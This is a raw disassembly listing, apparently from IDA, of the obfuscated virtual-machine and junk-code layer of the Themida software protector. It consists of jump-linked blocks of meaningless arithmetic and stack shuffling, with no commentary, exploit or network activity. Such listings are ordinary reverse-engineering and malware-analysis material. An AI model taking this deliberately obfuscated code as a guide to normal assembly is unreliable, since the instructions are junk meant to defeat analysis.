loc_55E96A ; --------------------------------------------------------------------------- loc_56B712: ; CODE XREF: Themida_:0056B785j add ebx, 0CFF2E29h add ebx, ecx sub ebx, 0CFF2E29h push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5606A5 ; --------------------------------------------------------------------------- loc_56B738: ; CODE XREF: Themida_:0055F1FDj mov ecx, [esp] jmp loc_567EF4 ; --------------------------------------------------------------------------- loc_56B740: ; CODE XREF: Themida_:0056C0EDj push cx push edi mov di, 24Ah mov cx, di pop edi push cx add word ptr [esp], 6AF8h pop dx push ebx mov bx, 7C5Ch add bx, 5FE1h add bx, 8EBBh sub dx, bx pop ebx pop cx shr dx, 2 push bx mov bx, 6682h sub dx, bx jmp loc_571A0D ; --------------------------------------------------------------------------- loc_56B77C: ; CODE XREF: Themida_:0055F5C3j add ecx, ebp add ecx, 11567F12h pop ebp jmp loc_56B712 ; --------------------------------------------------------------------------- loc_56B78A: ; CODE XREF: Themida_:0056A915j push 58654DDBh jmp loc_56554D ; --------------------------------------------------------------------------- loc_56B794: ; CODE XREF: Themida_:0055EE94j mov esp, [esp] movsx ecx, ax push 5315h jmp loc_5646F3 ; --------------------------------------------------------------------------- loc_56B7A4: ; CODE XREF: Themida_:005616EAj xchg ebp, ecx or ecx, 14FC0DC5h jmp loc_56635A ; --------------------------------------------------------------------------- loc_56B7B1: ; CODE XREF: Themida_:00571E97j mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push 53EFh mov [esp], edx mov edx, esp push ebp jmp loc_569B59 ; --------------------------------------------------------------------------- loc_56B7CD: ; CODE XREF: Themida_:00560822j mov ebp, esi jmp loc_56D7EC ; --------------------------------------------------------------------------- loc_56B7D4: ; CODE XREF: Themida_:0056B938j push ebx mov bh, dl jmp loc_56EDE1 ; --------------------------------------------------------------------------- loc_56B7DC: ; CODE XREF: Themida_:00571C5Aj mov edx, esp push 3B14h mov [esp], ecx push edi mov edi, 4 jmp loc_560A49 ; --------------------------------------------------------------------------- loc_56B7F1: ; CODE XREF: Themida_:0056794Aj add al, bl sub al, 0Fh add al, 0A9h mov bx, [esp] add esp, 2 pop ecx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push ebx jmp loc_55E960 ; --------------------------------------------------------------------------- loc_56B817: ; CODE XREF: Themida_:0056F690j mov dh, 0A0h dec dh shl dh, 7 neg dh jmp loc_5710CF ; --------------------------------------------------------------------------- loc_56B825: ; CODE XREF: Themida_:0056155Dj add ebp, 49436199h jmp loc_56048F ; --------------------------------------------------------------------------- loc_56B830: ; CODE XREF: Themida_:00570161j sub cl, 0FFh not cl push edx mov dh, 83h jmp loc_571A65 ; --------------------------------------------------------------------------- loc_56B83D: ; CODE XREF: Themida_:0056301Aj neg edx push edx jmp loc_5611E1 ; --------------------------------------------------------------------------- loc_56B845: ; CODE XREF: Themida_:0056F4A7j mov ecx, 4BF5446Bh jmp loc_56995B ; --------------------------------------------------------------------------- loc_56B84F: ; CODE XREF: Themida_:00571A88j mov ebx, edx jmp loc_56F9C0 ; --------------------------------------------------------------------------- loc_56B856: ; CODE XREF: Themida_:0055ED67j mov eax, esp jmp loc_563CEA ; --------------------------------------------------------------------------- loc_56B85D: ; CODE XREF: Themida_:0055DD22j add esi, ebp pop ebp jmp loc_565021 ; --------------------------------------------------------------------------- loc_56B865: ; CODE XREF: Themida_:005636BEj add ebp, 7223780Fh pop edx mov eax, ebp pop ebp jmp loc_5609C9 ; --------------------------------------------------------------------------- loc_56B874: ; CODE XREF: Themida_:0056A504j push esi jmp loc_56A780 ; --------------------------------------------------------------------------- loc_56B87A: ; CODE XREF: Themida_:00561359j push eax push ebp mov ebp, 5CC20A01h mov eax, 0A33DF603h add eax, ebp pop ebp add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp jmp loc_55E426 ; --------------------------------------------------------------------------- loc_56B897: ; CODE XREF: Themida_:00564F7Cj add esp, 4 push edx jmp loc_5615F5 ; --------------------------------------------------------------------------- loc_56B8A0: ; CODE XREF: Themida_:00563479j add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push 6339h jmp loc_56E9D0 ; --------------------------------------------------------------------------- loc_56B8C0: ; CODE XREF: Themida_:00564DAFj sub bl, 6Dh sub bl, ch add bl, 6Dh pop ecx movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_568FB1 ; --------------------------------------------------------------------------- loc_56B8E0: ; CODE XREF: Themida_:005663CFj xor edx, 1F3A5BD9h jmp loc_56BD72 ; --------------------------------------------------------------------------- loc_56B8EB: ; CODE XREF: Themida_:005638CFj sub esi, 0CB03E79Ah sub edi, esi mov esi, [esp] add esp, 4 xor eax, edi push dword ptr [esp] mov edi, [esp] jmp loc_56D1DE ; --------------------------------------------------------------------------- loc_56B909: ; CODE XREF: Themida_:0056464Cj push edi mov edi, ebp mov ebx, edi jmp loc_5704FA ; --------------------------------------------------------------------------- loc_56B913: ; CODE XREF: Themida_:0056AC49j xor eax, 0E8C55B67h jmp loc_5726F4 ; --------------------------------------------------------------------------- loc_56B91D: ; CODE XREF: Themida_:005655E9j add eax, ecx push edx jmp loc_567AEA ; --------------------------------------------------------------------------- loc_56B925: ; CODE XREF: Themida_:0055F024j push ecx mov cl, 2Dh add cl, 0FFh xor cl, 1 push edx mov dl, 0ADh add cl, dl pop edx push eax push edx mov dl, cl jmp loc_56B7D4 ; --------------------------------------------------------------------------- loc_56B93D: ; CODE XREF: Themida_:0056357Ej xchg eax, [esp] pop esp push esp pop dword ptr [esp] push edi mov edi, 3C486E5Ah sub edi, 22607EF6h and edi, 18A307F9h push ebx push edx mov edx, 64E92707h jmp loc_55FBD8 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5656D5 ; --------------------------------------------------------------------------- loc_56B96C: ; CODE XREF: Themida_:00566372j mov al, 3Ah mov dh, al pop ax sub al, dh mov edx, [esp] add esp, 4 push edx push ecx mov cl, al mov dl, cl pop ecx jmp loc_56F294 ; --------------------------------------------------------------------------- loc_56B989: ; CODE XREF: Themida_:0056DE1Aj shl si, 6 push bx mov bx, 7076h add si, 5ED0h add si, bx sub si, 5ED0h jmp loc_5628F8 ; --------------------------------------------------------------------------- loc_56B9A5: ; CODE XREF: Themida_:00569DF3j mov [esp], edx mov dl, 0ECh jmp loc_55EB79 ; --------------------------------------------------------------------------- loc_56B9AF: ; CODE XREF: Themida_:0055F544j neg ecx sub ecx, 0B0B43326h mov esi, ecx jmp loc_56595D ; --------------------------------------------------------------------------- loc_56B9BE: ; CODE XREF: Themida_:00565836j and edi, 759B54D8h add edi, 1 jmp loc_569EA4 ; --------------------------------------------------------------------------- loc_56B9CC: ; CODE XREF: Themida_:0055F7EDj add ebx, 750C6F0Ch sub ebx, eax jmp loc_55E710 ; --------------------------------------------------------------------------- loc_56B9D9: ; CODE XREF: Themida_:0056C616j mov esi, edx pop edx jmp loc_560A65 ; --------------------------------------------------------------------------- loc_56B9E1: ; CODE XREF: Themida_:00568195j add ebp, ebx pop ebx add ebp, eax push edi mov edi, 344E47B2h sub ebp, edi mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 push edx mov edx, 2 add ebp, edx mov edx, [esp] jmp loc_56265E ; --------------------------------------------------------------------------- loc_56BA0D: ; CODE XREF: Themida_:00563D54j xor edi, esi pop esi mov ebp, edi jmp loc_55E145 ; --------------------------------------------------------------------------- loc_56BA17: ; CODE XREF: Themida_:00564708j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx jmp loc_5703FB ; --------------------------------------------------------------------------- loc_56BA2E: ; CODE XREF: Themida_:005608BAj pop esp pop dword ptr [esp] pop esp jmp loc_56FC6B ; --------------------------------------------------------------------------- loc_56BA38: ; CODE XREF: Themida_:005668AFj not esi add esi, 0EFFACFEh jmp loc_56A608 ; --------------------------------------------------------------------------- loc_56BA45: ; CODE XREF: Themida_:005678C2j add esp, 4 sub [edi+24h], esi push dword ptr [esp] jmp loc_5614B5 ; --------------------------------------------------------------------------- loc_56BA53: ; CODE XREF: Themida_:0056686Bj neg ecx and ecx, 2E73432Fh add ecx, 15FD26D8h jmp loc_56C637 ; --------------------------------------------------------------------------- loc_56BA66: ; CODE XREF: Themida_:0056CE43j pop esp jmp loc_56FB04 ; --------------------------------------------------------------------------- loc_56BA6C: ; CODE XREF: Themida_:0056C9F9j mov ecx, 15E7367Bh sub esi, ecx pop ecx jmp loc_570C10 ; --------------------------------------------------------------------------- loc_56BA79: ; CODE XREF: Themida_:0056706Fj mov [esp], edi push 6BC9h mov [esp], esp add dword ptr [esp], 4 jmp loc_56F278 ; --------------------------------------------------------------------------- loc_56BA8D: ; CODE XREF: Themida_:00564854j add esi, ebp push ecx jmp loc_56713C ; --------------------------------------------------------------------------- loc_56BA95: ; CODE XREF: Themida_:0056250Bj push edi mov edi, 10D74797h xor edi, 5DE82DCDh jmp loc_55E602 ; --------------------------------------------------------------------------- loc_56BAA6: ; CODE XREF: Themida_:0056E745j push esp jmp loc_56F490 ; --------------------------------------------------------------------------- loc_56BAAC: ; CODE XREF: Themida_:00560086j mov [esp], ecx push ebx mov bl, 0B4h push edx mov dl, bl jmp loc_567D34 ; --------------------------------------------------------------------------- loc_56BABA: ; CODE XREF: Themida_:00561B0Fj sub esp, 4 jmp loc_56DC39 ; --------------------------------------------------------------------------- loc_56BAC2: ; CODE XREF: Themida_:00563CEFj add eax, 4 xchg eax, [esp] pop esp push ebp jmp loc_55DEF7 ; --------------------------------------------------------------------------- loc_56BACF: ; CODE XREF: Themida_:0056F72Ej mov eax, 2BDC5F17h shr eax, 7 inc eax push edi jmp loc_56CA49 ; --------------------------------------------------------------------------- loc_56BADE: ; CODE XREF: Themida_:00564545j sub esp, 4 mov [esp], ebx jmp loc_56A3A1 ; --------------------------------------------------------------------------- loc_56BAEC: ; CODE XREF: Themida_:0056D515j xor ecx, [esp] pop esp jmp loc_55FD00 ; --------------------------------------------------------------------------- loc_56BAF5: ; CODE XREF: Themida_:0056CD16j add esp, 4 push ebx push dword ptr [esp+4] pop ebx jmp loc_56BC73 ; --------------------------------------------------------------------------- loc_56BB03: ; CODE XREF: Themida_:00561756j mov edi, esp jmp loc_568D00 ; --------------------------------------------------------------------------- loc_56BB0A: ; CODE XREF: Themida_:005615F0j add esi, ebx add esi, 178340B3h pop ebx jmp loc_564D13 ; --------------------------------------------------------------------------- loc_56BB18: ; CODE XREF: Themida_:00570483j add esp, 4 push ecx push edi push esi mov esi, 4 mov edi, esi pop esi mov ecx, edi push dword ptr [esp] pop edi add esp, 4 sub ebp, 59204046h sub ebp, 29297931h add ebp, ecx add ebp, 29297931h add ebp, 59204046h pop ecx jmp loc_564026 ; --------------------------------------------------------------------------- loc_56BB52: ; CODE XREF: Themida_:00562895j push 0CD4h mov [esp], edx mov edx, 1FB5590h shr edx, 5 push edx inc dword ptr [esp] pop edx jmp loc_57136C ; --------------------------------------------------------------------------- loc_56BB6C: ; CODE XREF: Themida_:0056A2B9j mov [esp], ecx mov ch, 0A8h push eax mov ah, ch mov bh, ah pop eax push dword ptr [esp] pop ecx add esp, 4 add bh, 10h add ch, bh jmp loc_56E92F ; --------------------------------------------------------------------------- loc_56BB8B: ; CODE XREF: Themida_:00570B09j mov ecx, 294905D5h sub ecx, 181A2DD0h xor ecx, 608D7A1Dh not ecx jmp loc_571813 ; --------------------------------------------------------------------------- loc_56BBA3: ; CODE XREF: Themida_:0056D9BEj xchg eax, [esp] pop esp push 5040h mov [esp], ecx sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 2F9B5796h xor ebp, 2F9B5792h add ecx, ebp mov ebp, [esp] add esp, 4 push edx mov edx, 4 sub ecx, 6D886CAAh add ecx, 5F2A3299h add ecx, edx sub ecx, 5F2A3299h jmp loc_566205 ; --------------------------------------------------------------------------- loc_56BBF9: ; CODE XREF: Themida_:00569705j add eax, 74E32866h add eax, 1459177Dh sub eax, 76085F61h sub eax, 6B7427EDh add eax, edi jmp loc_56DB6B ; --------------------------------------------------------------------------- loc_56BC14: ; CODE XREF: Themida_:0056CBC3j mov [esp], ecx mov ecx, 24h add ecx, edi jmp loc_56AEE0 ; --------------------------------------------------------------------------- loc_56BC23: ; CODE XREF: Themida_:0056FA5Aj push esi mov esi, 1B043ED9h jmp loc_56A405 ; --------------------------------------------------------------------------- loc_56BC2E: ; CODE XREF: Themida_:00570A89j mov esi, 22E9641Eh or esi, 574C11A4h sub esi, 0F3E2AD13h add ebx, esi pop esi sub edx, 227575A4h sub esp, 4 mov [esp], esi mov esi, 8B15F4Ch xchg edi, esi jmp loc_56790B ; --------------------------------------------------------------------------- loc_56BC5D: ; CODE XREF: Themida_:0056772Bj mov esp, [esp] mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56BC69: ; CODE XREF: Themida_:00566F6Bj xor eax, 0C0AF8A53h jmp loc_56A006 ; --------------------------------------------------------------------------- loc_56BC73: ; CODE XREF: Themida_:0056BAFEj pop dword ptr [esp] mov esp, [esp] push 6659h mov [esp], ebx jmp loc_5614E9 ; --------------------------------------------------------------------------- loc_56BC86: ; CODE XREF: Themida_:00569843j mov [esp], ebx mov ebx, 0CA933B9h jmp loc_56CBEF ; --------------------------------------------------------------------------- loc_56BC93: ; CODE XREF: Themida_:0056A0C2j push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, esp push edx jmp loc_56E4EA ; --------------------------------------------------------------------------- loc_56BCA5: ; CODE XREF: Themida_:0056CB2Dj pop edx jmp loc_570BB9 ; --------------------------------------------------------------------------- loc_56BCAB: ; CODE XREF: Themida_:0055E466j mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], eax push edx mov edx, 48E22FF5h or edx, 5BF378EAh push edi mov edi, 1EFF5294h add edx, edi pop edi shl edx, 1 not edx add edx, 0F5E5A52Bh mov eax, edx pop edx sub ebx, 2184339Ah add ebx, 1C260747h jmp loc_562CE1 ; --------------------------------------------------------------------------- loc_56BCEF: ; CODE XREF: Themida_:0055E930j add eax, ebp pop ebp push ecx mov ecx, 53C65958h inc ecx shl ecx, 1 inc ecx sub ecx, 999B9D8Bh or eax, ecx mov ecx, [esp] add esp, 4 jmp loc_56CB9D ; --------------------------------------------------------------------------- loc_56BD12: ; CODE XREF: Themida_:005608C8j sub ecx, 0FE736FEDh add edx, ecx pop ecx add ebp, edx pop edx sub ebp, 1EB447ABh sub ebp, 6C728F5h jmp loc_5650D6 ; --------------------------------------------------------------------------- loc_56BD2F: ; CODE XREF: Themida_:00563230j push 7AA4h mov [esp], esi mov eax, [esp] jmp loc_56FA03 ; --------------------------------------------------------------------------- loc_56BD3F: ; CODE XREF: Themida_:005690A0j push ebx mov ebx, 0BDC4484h or ecx, ebx pop ebx dec ecx jmp loc_567CE0 ; --------------------------------------------------------------------------- loc_56BD4E: ; CODE XREF: Themida_:00565BE6j xor edx, eax pop eax add ebx, 16020013h jmp loc_56D9F6 ; --------------------------------------------------------------------------- loc_56BD5C: ; CODE XREF: Themida_:0056FB5Fj add ebp, ecx pop ecx xor eax, ebp pop ebp mov esi, eax mov eax, [esp] add esp, 4 jmp loc_56FB2F ; --------------------------------------------------------------------------- loc_56BD72: ; CODE XREF: Themida_:0056B8E6j push 0 sub [esp], edx pop edx add edx, 42C3D3Bh not edx inc edx add edx, 0C673ACC0h sub ebp, 14F44709h add ebp, edx jmp loc_565EBF ; --------------------------------------------------------------------------- loc_56BD97: ; CODE XREF: Themida_:0056FA29j push ebp jmp loc_56CCDE ; --------------------------------------------------------------------------- loc_56BD9D: ; CODE XREF: Themida_:0056AAFCj sub edi, 0DB56950Eh jmp loc_56E72F ; --------------------------------------------------------------------------- loc_56BDA8: ; CODE XREF: Themida_:0056E26Aj mov eax, 0CD03BD6h xor eax, 69022A5Ch push ecx jmp loc_567D08 ; --------------------------------------------------------------------------- loc_56BDB8: ; CODE XREF: Themida_:0055F5E8j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push edi mov edi, 612485D1h sub esi, edi pop edi sub edi, 22A608Eh add edi, esi sub esp, 4 mov [esp], esi mov esi, 22A608Eh add edi, 3D011847h jmp loc_55F8ED ; --------------------------------------------------------------------------- loc_56BDEC: ; CODE XREF: Themida_:00564C3Dj pop ebp push ebx jmp loc_55DFF1 ; --------------------------------------------------------------------------- loc_56BDF3: ; CODE XREF: Themida_:005683FFj sub dh, 45h shr dh, 6 shl dh, 6 xor dh, 9 add dh, 1 sub dh, 7Bh mov ch, dh pop edx sub esp, 4 mov [esp], ebx jmp loc_5623E0 ; --------------------------------------------------------------------------- loc_56BE16: ; CODE XREF: Themida_:00567442j xchg edx, [esp] mov esp, [esp] mov [esp], edi mov edi, 800000h and eax, edi push dword ptr [esp] mov edi, [esp] sub esp, 4 mov [esp], edx jmp loc_562B38 ; --------------------------------------------------------------------------- loc_56BE3A: ; CODE XREF: Themida_:005698C5j sub [esp], ebp pop ebp shr ebp, 1 or ebp, 210602D2h sub ebp, 0FFFFFFFFh push esi push edx mov edx, 479D46C9h shr edx, 2 push esi mov esi, 47E319CAh jmp loc_56812A ; --------------------------------------------------------------------------- loc_56BE61: ; CODE XREF: Themida_:0055FE1Ej sub ebx, 7C302C5Bh sub ebx, 5AD2394Ah add ebx, 3B2B2BE3h sub ebx, eax sub ebx, 3B2B2BE3h push 511Bh mov [esp], eax mov eax, 68012EACh shr eax, 7 or eax, 1A06CBBh jmp loc_56EFB4 ; --------------------------------------------------------------------------- loc_56BE95: ; CODE XREF: Themida_:00570F5Bj add bh, 69h sub bh, al jmp loc_56A107 ; --------------------------------------------------------------------------- loc_56BE9F: ; CODE XREF: Themida_:00567C4Cj mov edx, ebp jmp loc_55D9A6 ; --------------------------------------------------------------------------- loc_56BEA6: ; CODE XREF: Themida_:00564157j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_56EE28 ; --------------------------------------------------------------------------- loc_56BEB4: ; CODE XREF: Themida_:00571E36j pop esp jmp loc_570334 ; --------------------------------------------------------------------------- loc_56BEBA: ; CODE XREF: Themida_:00560F8Bj or ebp, 44A705D7h jmp loc_56547A ; --------------------------------------------------------------------------- loc_56BEC5: ; CODE XREF: Themida_:00564B06j mov eax, 76D839FBh or eax, 3B1E660Fh not eax jmp loc_570F45 ; --------------------------------------------------------------------------- loc_56BED6: ; CODE XREF: Themida_:00563405j sub ch, 0E0h shl ch, 3 shl ch, 4 jmp loc_561A65 ; --------------------------------------------------------------------------- loc_56BEE4: ; CODE XREF: Themida_:0056FE29j neg eax sub eax, 95011B4Ch jmp loc_55F6A6 ; --------------------------------------------------------------------------- loc_56BEF0: ; CODE XREF: Themida_:0056C646j add ecx, ebp jmp loc_56A565 ; --------------------------------------------------------------------------- loc_56BEF7: ; CODE XREF: Themida_:0056934Cj mov esi, 4 add ebx, esi pop esi jmp loc_566F37 ; --------------------------------------------------------------------------- loc_56BF04: ; CODE XREF: Themida_:005719BAj mov esi, [esp] push edx mov edx, esp add edx, 4 push 4436h mov [esp], edi mov edi, 35B07432h xor edi, 3F7F759Fh and edi, 43840FFh or edi, 6667186Dh neg edi sub edi, 9990E70Fh add edx, edi jmp loc_567755 ; --------------------------------------------------------------------------- loc_56BF3E: ; CODE XREF: Themida_:0055FF66j xor bl, 34h jmp loc_55FA46 ; --------------------------------------------------------------------------- loc_56BF46: ; CODE XREF: Themida_:00562009j add edx, eax add edx, 0C4C0BF5h jmp loc_55E1EB ; --------------------------------------------------------------------------- loc_56BF53: ; CODE XREF: Themida_:0056EB55j mov [esp], esi jmp loc_568084 ; --------------------------------------------------------------------------- loc_56BF5B: ; CODE XREF: Themida_:0055EB1Fj mov ah, [esp] add esp, 2 push cx push eax mov ah, 0D1h mov cl, ah pop eax jmp loc_56DF38 ; --------------------------------------------------------------------------- loc_56BF6E: ; CODE XREF: Themida_:005679E8j pop edx add esi, ecx pop ecx push dword ptr [esp] pop ecx add esp, 4 add ebx, esi push dword ptr [esp] pop esi add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_5697D3 ; --------------------------------------------------------------------------- loc_56BF9D: ; CODE XREF: Themida_:0056DFBBj pop eax push esi mov esi, esp add esi, 4 jmp loc_55F89C ; --------------------------------------------------------------------------- loc_56BFAC: ; CODE XREF: Themida_:00570F66j shr ecx, 7 push 4DD7h mov [esp], ebx push 4FB4h mov [esp], edx mov edx, 65767D43h jmp loc_571ECD ; --------------------------------------------------------------------------- loc_56BFC9: ; CODE XREF: Themida_:00565717j push esp pop ebx push 7A2Eh jmp loc_55E400 ; --------------------------------------------------------------------------- loc_56BFD5: ; CODE XREF: Themida_:0057155Ej sub eax, 77762D05h push edx mov edx, 35592D80h sub edx, 2E095948h dec edx push ebp jmp loc_56A275 ; --------------------------------------------------------------------------- loc_56BFED: ; CODE XREF: Themida_:00564801j xor edx, ecx pop ecx push ecx mov ecx, edx mov esi, ecx pop ecx pop edx jmp loc_5714D3 ; --------------------------------------------------------------------------- loc_56BFFC: ; CODE XREF: Themida_:005629B9j pop ecx add esp, 4 jmp loc_56D6EB ; --------------------------------------------------------------------------- loc_56C005: ; CODE XREF: Themida_:0055F109j not edx jmp loc_564373 ; --------------------------------------------------------------------------- loc_56C00C: ; CODE XREF: Themida_:0056EBD4j sub eax, ebx pop ebx add eax, edi add eax, 24281718h sub eax, 7DC66983h push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 2C8Eh mov [esp], ecx push 0A88h jmp loc_57012F ; --------------------------------------------------------------------------- loc_56C044: ; CODE XREF: Themida_:0056FE67j xchg ebp, [esp] pop esp jmp loc_5701A5 ; --------------------------------------------------------------------------- loc_56C04D: ; CODE XREF: Themida_:00564B51j push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_560B15 ; --------------------------------------------------------------------------- loc_56C067: ; CODE XREF: Themida_:0056342Cj pop esp mov [esp], ecx mov ecx, 67522E12h push ebp push ecx jmp loc_5614BB ; --------------------------------------------------------------------------- loc_56C077: ; CODE XREF: Themida_:00563D5Fj pop esp add edi, 4 add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax push edi mov edi, 4 add ebp, edi pop edi jmp loc_56D8F4 ; --------------------------------------------------------------------------- loc_56C0A9: ; CODE XREF: Themida_:0056467Ej push edi mov edi, 11514921h shr edi, 7 xor edi, 697B6902h not edi shl edi, 6 push eax jmp loc_5667FC ; --------------------------------------------------------------------------- loc_56C0C3: ; CODE XREF: Themida_:00570885j add esp, 4 jmp loc_55F4A2 ; --------------------------------------------------------------------------- loc_56C0CE: ; CODE XREF: Themida_:0056AE78j mov cx, 1FF9h sub esp, 2 mov [esp], si mov si, 139h add cx, si pop si push 4BC1h mov [esp], edx jmp loc_56B740 ; --------------------------------------------------------------------------- loc_56C0F2: ; CODE XREF: Themida_:0056A4FBj mov edx, [esp] jmp loc_566114 ; --------------------------------------------------------------------------- loc_56C0FA: ; CODE XREF: Themida_:0056599Aj push ebx mov ebx, 4 add [esp+4], ebx jmp loc_560ECD ; --------------------------------------------------------------------------- loc_56C109: ; CODE XREF: Themida_:00567476j add eax, 10F45CCDh sub eax, ebp sub esp, 4 mov [esp], edi mov edi, 6B5F33DBh push eax mov eax, 719F106Bh shr eax, 5 sub eax, 5DF7CF91h add edi, eax pop eax sub eax, edi mov edi, [esp] add esp, 4 pop ebp sub eax, 13F8570Fh add eax, ebx push esi push 1B8F7C90h pop esi push edx push ebp jmp loc_55FA79 ; --------------------------------------------------------------------------- loc_56C14D: ; CODE XREF: Themida_:00567D61j push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp push ecx sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_570EB6 ; --------------------------------------------------------------------------- loc_56C168: ; CODE XREF: Themida_:0056CDC8j add ebp, 20637878h push dword ptr [esp] pop edx push edi jmp loc_5610AE ; --------------------------------------------------------------------------- loc_56C178: ; CODE XREF: Themida_:00563DB0j push ebp mov ebp, 4 add eax, ebp pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_56025B ; --------------------------------------------------------------------------- loc_56C196: ; CODE XREF: Themida_:0055E3FBj pop ebp jmp loc_56832B ; --------------------------------------------------------------------------- loc_56C19C: ; CODE XREF: Themida_:00572426j pop esp push edx push edi mov edi, 28397793h mov edx, edi pop edi inc edx xor edx, 4B11318Ch xor edx, 43287E19h xor ecx, edx pop edx mov ebx, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_56B135 ; --------------------------------------------------------------------------- loc_56C1C8: ; CODE XREF: Themida_:0055E074j shl ecx, 4 neg ecx jmp loc_55F7D8 ; --------------------------------------------------------------------------- loc_56C1D2: ; CODE XREF: Themida_:0055E7CBj push dx mov dh, 0CCh add al, dh pop dx sub al, cl sub al, 0CCh mov ecx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push 1515h mov [esp], ecx mov cl, 3 jmp loc_563094 ; --------------------------------------------------------------------------- loc_56C209: ; CODE XREF: Themida_:0057166Bj push ebp mov ebp, 72086366h sub ebp, 8290123Fh mov ebx, ebp pop ebp mov eax, ebx pop ebx add edi, eax pop eax jmp loc_569003 ; --------------------------------------------------------------------------- loc_56C223: ; CODE XREF: Themida_:00568D67j xchg ebx, [esp] pop esp mov [esp], edx push eax push ebx mov bh, 25h push ecx mov ch, bh jmp loc_569769 ; --------------------------------------------------------------------------- loc_56C236: ; CODE XREF: Themida_:00567563j pop ebx push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 4 jmp loc_567399 ; --------------------------------------------------------------------------- loc_56C24F: ; CODE XREF: Themida_:0056C774j mov edx, [esp] add esp, 4 or bl, 53h sub esp, 4 mov [esp], ecx mov ch, 0BDh xor bl, ch jmp loc_56A124 ; --------------------------------------------------------------------------- loc_56C26A: ; CODE XREF: Themida_:0056AFEBj pop eax push edx mov edx, 492D046Fh sub edx, 0FAEAD621h jmp loc_567F40 ; --------------------------------------------------------------------------- loc_56C27C: ; CODE XREF: Themida_:0056CFE0j add esi, 25B55F9Ch jmp loc_563AC3 ; --------------------------------------------------------------------------- loc_56C287: ; CODE XREF: Themida_:0056579Aj mov ebx, 7C8E69A3h shl ebx, 4 sub ebx, 0C8E69A2Ch mov ebp, ebx jmp loc_56A6A2 ; --------------------------------------------------------------------------- loc_56C29C: ; CODE XREF: Themida_:0056EFAFj add edi, eax sub edi, 7FE10E9Ch jmp loc_560CE3 ; --------------------------------------------------------------------------- loc_56C2A9: ; CODE XREF: Themida_:0056E467j xchg edi, [esp] jmp loc_566C7E ; --------------------------------------------------------------------------- loc_56C2B1: ; CODE XREF: Themida_:0056A7EEj xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_56D14D ; --------------------------------------------------------------------------- loc_56C2BF: ; CODE XREF: Themida_:00560231j xchg ebp, ebx jmp loc_565FF5 ; --------------------------------------------------------------------------- loc_56C2C6: ; CODE XREF: Themida_:0056C5CEj push edi mov edi, 7C6263C3h mov esi, edi pop edi add eax, 28C12A60h sub eax, esi sub eax, 28C12A60h mov esi, [esp] push ecx mov ecx, esp jmp loc_566642 ; --------------------------------------------------------------------------- loc_56C2E6: ; CODE XREF: Themida_:0056C6DBj mov ecx, esp push 6E7Ah mov [esp], ebx mov ebx, 244073B5h push edi mov edi, esp jmp loc_56CB32 ; --------------------------------------------------------------------------- loc_56C2FD: ; CODE XREF: Themida_:0056225Aj or esi, 5B9C72E7h push ecx jmp loc_568B14 ; --------------------------------------------------------------------------- loc_56C309: ; CODE XREF: Themida_:0055D8A6j push 7665h mov [esp], esi pop ebx pop esi and [edi+1Ch], ebx mov ebx, [esp] push edi jmp loc_5605A8 ; --------------------------------------------------------------------------- loc_56C31F: ; CODE XREF: Themida_:00565BF9j mov [esp], ax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56C328: ; CODE XREF: Themida_:0056D31Fj neg edi jmp loc_56EB65 ; --------------------------------------------------------------------------- loc_56C32F: ; CODE XREF: Themida_:0056EC52j add ebx, edi pop edi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_55F63C ; --------------------------------------------------------------------------- loc_56C346: ; CODE XREF: Themida_:00572412j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56C34B: ; CODE XREF: Themida_:0056AF45j mov bh, ch pop ecx pop eax mov [edi+eax*4], bh jmp loc_57242B ; --------------------------------------------------------------------------- loc_56C357: ; CODE XREF: Themida_:005727CEj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_56EBE8 ; --------------------------------------------------------------------------- loc_56C367: ; CODE XREF: Themida_:0057240Aj push edx pop ecx mov edx, [esp] add esp, 4 not edx xor ecx, edx xor edx, ecx xor ecx, edx xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] pop esi jmp loc_56629E ; --------------------------------------------------------------------------- loc_56C389: ; CODE XREF: Themida_:005706CEj pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_56A679 ; --------------------------------------------------------------------------- lodsd push ebx mov ebx, 48292073h sub eax, ebx pop ebx add eax, ebx sub esp, 4 jmp loc_568ED4 ; --------------------------------------------------------------------------- 